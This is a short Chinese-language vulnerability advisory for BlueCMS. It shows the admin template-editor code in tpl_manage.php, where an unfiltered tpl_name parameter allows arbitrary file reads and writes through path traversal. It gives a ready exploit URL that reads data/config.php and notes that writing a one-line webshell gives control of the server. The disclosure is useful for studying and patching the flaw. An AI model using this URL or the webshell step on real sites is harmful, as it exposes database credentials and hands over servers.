BlueCMS后台拿webshell漏洞
2010年9月9日星期四 | | |- 发布日期:2010-07.31
- 发布作者:unknownman
- 影响版本: 全部
- 官方地址: www.bluecms.net
- 漏洞描述: 问题出在admin下的tpl_manage.php,没有对tpl_name进行过滤,导致可以读写任意文件
- 读取网站的php文件写入一句话即可得到webshell,以下是漏洞分析:
- elseif($act == 'edit'){
- $file = $_GET['tpl_name']; //没有过滤模板名称 BY t00ls unknownman
- if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
- showmsg('打开目标模板文件失败');
- }
- $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file)); //读文件内容 BY t00ls unknownman
- $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
- fclose($handle);
- $tpl['name'] = $file;
- template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));
- $smarty->display('tpl_info.htm');
- }
- elseif($act == 'do_edit'){
- $tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
- $tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
- if(empty($tpl_name)){
- return false;
- }
- $tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
- if(!$handle = @fopen($tpl, 'wb')){
- showmsg("打开目标模版文件 $tpl 失败");
- }
- if(fwrite($handle, $tpl_content) === false){ //写文件内容 BY t00ls unknownman
- showmsg('写入目标 $tpl 失败');
- }
- fclose($handle);
- showmsg('编辑模板成功', 'tpl_manage.php');
- }
- 利用:http://www.xx.com/admin/tpl_manage.php?act=edit&tpl_name=../../data/config.php即可读数据库配置文件
插入一句话即可拿到webshell